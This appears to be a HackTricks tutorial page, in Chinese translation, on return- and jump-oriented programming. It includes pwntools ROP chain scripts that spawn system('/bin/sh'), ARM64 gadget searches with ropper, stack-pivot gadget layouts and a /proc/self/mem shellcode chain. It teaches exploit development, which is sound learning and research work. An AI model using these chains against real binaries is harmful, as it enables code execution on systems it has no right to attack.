ROP & JOP
Tip
学习和实践 AWS 黑客技术:
HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE)
学习和实践 Azure 黑客技术:
HackTricks Training Azure Red Team Expert (AzRTE)
支持 HackTricks
- 查看 订阅计划!
- 加入 💬 Discord 群组 或 Telegram 群组 或 在 Twitter 🐦 上关注我们 @hacktricks_live.
- 通过向 HackTricks 和 HackTricks Cloud GitHub 仓库提交 PR 来分享黑客技巧。
基本信息
Return-Oriented Programming (ROP) 是一种高级利用技术,用于规避诸如 No-Execute (NX) 或 Data Execution Prevention (DEP) 等安全机制。攻击者不是注入并执行 shellcode,而是利用二进制或已加载库中已存在的代码片段,称为 “gadgets”。每个 gadget 通常以 ret 指令结尾并执行一个小操作,例如在寄存器之间移动数据或执行算术运算。通过将这些 gadgets 链接在一起,攻击者可以构建 payload 来执行任意操作,从而有效绕过 NX/DEP 保护。
ROP 工作原理
- Control Flow Hijacking: 首先,攻击者需要劫持程序的 control flow,通常通过利用 buffer overflow 覆盖栈上的已保存 return address。
- Gadget Chaining: 攻击者然后精心选择并链 gadgets 来执行所需操作。这可能涉及为函数调用设置参数,调用函数(例如
system("/bin/sh")),以及处理任何必要的清理或附加操作。 - Payload Execution: 当易受攻击的函数返回时,它不会返回到合法位置,而是开始执行 gadgets 链。
工具
通常可以使用 ROPgadget、ropper 或直接使用 pwntools(ROP)来查找 gadgets。
x86 的 ROP Chain 示例
x86 (32-bit) 调用约定
- cdecl: Caller 清理栈。函数参数按逆序(从右到左)压入栈中。Arguments are pushed onto the stack from right to left.
- stdcall: 与 cdecl 类似,但由 callee 负责清理栈。
查找 Gadgets
首先,假设我们已经在二进制或其已加载的库中识别出所需的 gadgets。我们感兴趣的 gadgets 如下:
pop eax; ret: 该 gadget 将栈顶的值弹入EAX寄存器然后返回,允许我们控制EAX。pop ebx; ret: 与上面类似,但用于EBX寄存器,使我们能够控制EBX。mov [ebx], eax; ret: 将EAX中的值移动到由EBX指向的内存位置,然后返回。这通常被称为 write-what-where gadget。- 此外,我们还有
system()函数的地址可用。
ROP Chain
使用 pwntools,我们为 ROP 链执行准备栈,如下所示,目标是执行 system('/bin/sh'),注意链的开始方式:
- 用于对齐的
ret指令(可选) system函数的地址(假设 ASLR 已禁用且 libc 已知,更多信息见 Ret2lib)system()的返回地址占位符"/bin/sh"字符串地址(作为 system 的参数)
from pwn import *
# Assuming we have the binary's ELF and its process
binary = context.binary = ELF('your_binary_here')
p = process(binary.path)
# Find the address of the string "/bin/sh" in the binary
bin_sh_addr = next(binary.search(b'/bin/sh\x00'))
# Address of system() function (hypothetical value)
system_addr = 0xdeadc0de
# A gadget to control the return address, typically found through analysis
ret_gadget = 0xcafebabe # This could be any gadget that allows us to control the return address
# Construct the ROP chain
rop_chain = [
ret_gadget, # This gadget is used to align the stack if necessary, especially to bypass stack alignment issues
system_addr, # Address of system(). Execution will continue here after the ret gadget
0x41414141, # Placeholder for system()'s return address. This could be the address of exit() or another safe place.
bin_sh_addr # Address of "/bin/sh" string goes here, as the argument to system()
]
# Flatten the rop_chain for use
rop_chain = b''.join(p32(addr) for addr in rop_chain)
# Send ROP chain
## offset is the number of bytes required to reach the return address on the stack
payload = fit({offset: rop_chain})
p.sendline(payload)
p.interactive()
x64 的 ROP Chain 示例
x64 (64-bit) 调用约定
- 使用 System V AMD64 ABI 在类 Unix 系统上的调用约定,其中前六个整数或指针参数通过寄存器
RDI、RSI、RDX、RCX、R8和R9传递。额外的参数通过栈传递。返回值放在RAX中。 - Windows x64 调用约定使用
RCX、RDX、R8和R9作为前四个整数或指针参数,额外参数通过栈传递。返回值放在RAX中。 - 寄存器:64 位寄存器包括
RAX、RBX、RCX、RDX、RSI、RDI、RBP、RSP以及R8到R15。
寻找 Gadgets
就我们的目的而言,重点是那些能让我们设置 RDI 寄存器(将字符串 "/bin/sh" 作为参数传给 system())然后调用 system() 的 gadgets。我们假设已经识别出以下 gadgets:
- pop rdi; ret:将栈顶值弹到
RDI,然后返回。对于为 system() 设置参数至关重要。 - ret:简单的 return,在某些情况下用于栈对齐。
并且我们知道 system() 函数的地址。
ROP Chain
下面是一个使用 pwntools 来构建并执行 ROP chain 的示例,目标是在 x64 上执行 system(‘/bin/sh’):
from pwn import *
# Assuming we have the binary's ELF and its process
binary = context.binary = ELF('your_binary_here')
p = process(binary.path)
# Find the address of the string "/bin/sh" in the binary
bin_sh_addr = next(binary.search(b'/bin/sh\x00'))
# Address of system() function (hypothetical value)
system_addr = 0xdeadbeefdeadbeef
# Gadgets (hypothetical values)
pop_rdi_gadget = 0xcafebabecafebabe # pop rdi; ret
ret_gadget = 0xdeadbeefdeadbead # ret gadget for alignment, if necessary
# Construct the ROP chain
rop_chain = [
ret_gadget, # Alignment gadget, if needed
pop_rdi_gadget, # pop rdi; ret
bin_sh_addr, # Address of "/bin/sh" string goes here, as the argument to system()
system_addr # Address of system(). Execution will continue here.
]
# Flatten the rop_chain for use
rop_chain = b''.join(p64(addr) for addr in rop_chain)
# Send ROP chain
## offset is the number of bytes required to reach the return address on the stack
payload = fit({offset: rop_chain})
p.sendline(payload)
p.interactive()
In this example:
- 我们使用
pop rdi; retgadget 将RDI设置为"/bin/sh"的地址。 - 在设置
RDI之后,我们直接跳转到system(),其地址已在链中。 - 如果目标环境需要,使用
ret_gadget做对齐,这在 x64 中更常见,以确保在调用函数前栈正确对齐。
Stack Alignment
The x86-64 ABI 确保在执行 call instruction 时 stack is 16-byte aligned。LIBC 为了优化性能,uses SSE instructions(例如 movaps),这些指令要求该对齐。如果栈未正确对齐(即 RSP 不是 16 的倍数),对 system 等函数的调用将在 ROP chain 中失败。为了解决这个问题,只需在 ROP 链中在调用 system 之前添加一个 ret gadget。
x86 vs x64 主要区别
Tip
由于 x64 uses registers for the first few arguments, 对于简单的函数调用它通常比 x86 需要更少的 gadgets,但由于寄存器数量增多和地址空间变大,找到并链接合适的 gadgets 可能更复杂。x64 架构中更多的 registers 和更大的地址空间在 Return-Oriented Programming (ROP) 的场景下,为 exploit development 提供了机遇和挑战。
ARM64 中的 ROP chain
关于 ARM64 Basics & Calling conventions,请查看以下页面获取此信息:
[!DANGER] 重要的是要注意,当在 ARM64 中使用 ROP 跳转到一个函数时,应至少跳到该函数的第二条指令,以防将当前的栈指针存入栈中,从而导致无限循环地重复调用该函数。
Finding gadgets in system Dylds
系统库被编译成一个名为 dyld_shared_cache_arm64 的单一文件。该文件以压缩格式包含了所有系统库。要从移动设备下载此文件,你可以执行:
scp [-J <domain>] root@10.11.1.1:/System/Library/Caches/com.apple.dyld/dyld_shared_cache_arm64 .
# -Use -J if connecting through Corellium via Quick Connect
然后,你可以使用几个工具从 dyld_shared_cache_arm64 文件中提取实际的库:
brew install keith/formulae/dyld-shared-cache-extractor
dyld-shared-cache-extractor dyld_shared_cache_arm64 dyld_extracted
现在,为了为你正在利用的 binary 找到有趣的 gadgets,首先需要知道该 binary 加载了哪些 libraries。你可以使用 lldb* 来查看:
lldb ./vuln
br s -n main
run
image list
最后,你可以使用 Ropper 来在你感兴趣的库中查找 gadgets:
# Install
python3 -m pip install ropper --break-system-packages
ropper --file libcache.dylib --search "mov x0"
JOP - Jump Oriented Programming
JOP 与 ROP 是类似的技术,但每个 gadget 并不在结尾使用 RET 指令,而是 使用跳转地址。在 ROP 不可行的情况下,这种方法尤其有用,例如当没有可用的合适 gadget 时。
这在 ARM 架构中很常见,因为 ret 指令不像在 x86/x64 架构中那样常用。
你也可以使用 rop 工具来查找 JOP gadget,例如:
cd usr/lib/system # (macOS or iOS) Let's check in these libs inside the dyld_shared_cache_arm64
ropper --file *.dylib --search "ldr x0, [x0" # Supposing x0 is pointing to the stack or heap and we control some space around there, we could search for Jop gadgets that load from x0
- 存在一个 heap overflow,允许我们覆盖存储在 heap 中且会被调用的 function pointer。
x0指向我们可以控制部分空间的 heap- 从已加载的系统库中我们发现了以下 gadgets:
0x00000001800d1918: ldr x0, [x0, #0x20]; ldr x2, [x0, #0x30]; br x2;
0x00000001800e6e58: ldr x0, [x0, #0x20]; ldr x3, [x0, #0x10]; br x3;
- 我们可以使用第一个 gadget 将
x0载入指向/bin/sh的指针(存放在堆中),然后从x0 + 0x30将x2载入为system的地址,并跳转到该地址。
Stack Pivot
Stack pivoting 是一种在利用中使用的技术,用于改变栈指针(RSP in x64, SP in ARM64),使其指向一个受控的内存区域,例如堆或栈上的缓冲区,攻击者可以在该处放置他们的 payload(通常是 ROP/JOP 链)。
Stack Pivoting 链的示例:
- 示例:仅 1 个 gadget:
mov sp, x0; ldp x29, x30, [sp], #0x10; ret;
The `mov sp, x0` instruction sets the stack pointer to the value in `x0`, effectively pivoting the stack to a new location. The subsequent `ldp x29, x30, [sp], #0x10; ret;` instruction loads the frame pointer and return address from the new stack location and returns to the address in `x30`.
I found this gadget in libunwind.dylib
If x0 points to a heap you control, you can control the stack pointer and move the stack to the heap, and therefore you will control the stack.
0000001c61a9b9c:
ldr x16, [x0, #0xf8]; // Control x16
ldr x30, [x0, #0x100]; // Control x30
ldp x0, x1, [x0]; // Control x1
mov sp, x16; // Control sp
ret; // ret will jump to x30, which we control
To use this gadget you could use in the heap something like:
<address of x0 to keep x0> # ldp x0, x1, [x0]
<address of gadget> # Let's suppose this is the overflowed pointer that allows to call the ROP chain
"A" * 0xe8 (0xf8-16) # Fill until x0+0xf8
<address x0+16> # Lets point SP to x0+16 to control the stack
<next gadget> # This will go into x30, which will be called with ret (so add of 2nd gadget)
- 示例 多个 gadgets:
// G1: Typical PAC epilogue that restores frame and returns
// (seen in many leaf/non-leaf functions)
G1:
ldp x29, x30, [sp], #0x10 // restore FP/LR
autiasp // **PAC check on LR**
retab // **PAC-aware return**
// G2: Small helper that (dangerously) moves SP from FP
// (appears in some hand-written helpers / stubs; good to grep for)
G2:
mov sp, x29 // **pivot candidate**
ret
// G3: Reader on the new stack (common prologue/epilogue shape)
G3:
ldp x0, x1, [sp], #0x10 // consume args from "new" stack
ret
G1:
stp x8, x1, [sp] // Store at [sp] → value of x8 (attacker controlled) and at [sp+8] → value of x1 (attacker controlled)
ldr x8, [x0] // Load x8 with the value at address x0 (controlled by attacker, address of G2)
blr x8 // Branch to the address in x8 (controlled by attacker)
G2:
ldp x29, x30, [sp], #0x10 // Loads x8 -> x29 and x1 -> x30. The value in x1 is the value for G3
ret
G3:
mov sp, x29 // Pivot the stack to the address in x29, which was x8, and was controlled by the attacker possible pointing to the heap
ret
Shellcode via /proc/self/mem (嵌入式 Linux)
如果你已经有一个 ROP chain 但 没有 RWX mappings,另一种选择是 使用 /proc/self/mem 将 shellcode 写入当前进程,然后跳转到它。这在嵌入式 Linux 目标上很常见,因为在默认配置下 /proc/self/mem 可能会忽略可执行段的写保护。
典型链思路:
fd = open("/proc/self/mem", O_RDWR);
lseek(fd, target_addr, SEEK_SET); // e.g., a known RX mapping or code cave
write(fd, shellcode, shellcode_len);
((void(*)())target_addr)(); // ARM Thumb: jump to target_addr | 1
如果保存 fd 很困难,多次调用 open() 可以让 猜测用于 /proc/self/mem 的 descriptor 变得可行。在 ARM Thumb 目标上,记得在分支时 设置低位 (addr | 1)。
针对 ROP 和 JOP 的防护
- ASLR & PIE:这些防护会增加使用 ROP 的难度,因为 gadget 的地址在每次执行间会变化。
- Stack Canaries:在 BOF 的情况下,需要绕过已保存的 stack canary 才能覆盖返回指针以滥用 ROP 链。
- Lack of Gadgets:如果没有足够的 gadgets,就无法生成 ROP chain。
基于 ROP 的技术
注意 ROP 只是用来执行任意代码的一种技术。基于 ROP 发展出了许多 Ret2XXX 技术:
- Ret2lib:使用 ROP 调用已加载库中的任意函数并传入任意参数(通常像
system('/bin/sh')之类)。
- Ret2Syscall:使用 ROP 准备对 syscall(例如
execve)的调用,并执行任意命令。
- EBP2Ret & EBP Chaining:前者滥用 EBP 而非 EIP 来控制流程,后者类似于 Ret2lib,但在这种情况下流程主要由 EBP 地址控制(尽管也需要控制 EIP)。
其它示例与参考
- https://ir0nstone.gitbook.io/notes/types/stack/return-oriented-programming/exploiting-calling-conventions
- https://guyinatuxedo.github.io/15-partial_overwrite/hacklu15_stackstuff/index.html
- 64 bit,PIE 和 NX 启用,无 canary,将 RIP 覆盖为
vsyscall地址,唯一目的是返回到栈中的下一个地址,该地址会是对目标地址的部分覆盖,从而得到会 leak the flag 的函数部分 - https://8ksec.io/arm64-reversing-and-exploitation-part-4-using-mprotect-to-bypass-nx-protection-8ksec-blogs/
- arm64,无 ASLR,使用 ROP gadget 使栈可执行并跳转到栈上的 shellcode
- https://googleprojectzero.blogspot.com/2019/08/in-wild-ios-exploit-chain-4.html
References
Tip
学习和实践 AWS 黑客技术:
HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE)
学习和实践 Azure 黑客技术:
HackTricks Training Azure Red Team Expert (AzRTE)
支持 HackTricks
- 查看 订阅计划!
- 加入 💬 Discord 群组 或 Telegram 群组 或 在 Twitter 🐦 上关注我们 @hacktricks_live.
- 通过向 HackTricks 和 HackTricks Cloud GitHub 仓库提交 PR 来分享黑客技巧。


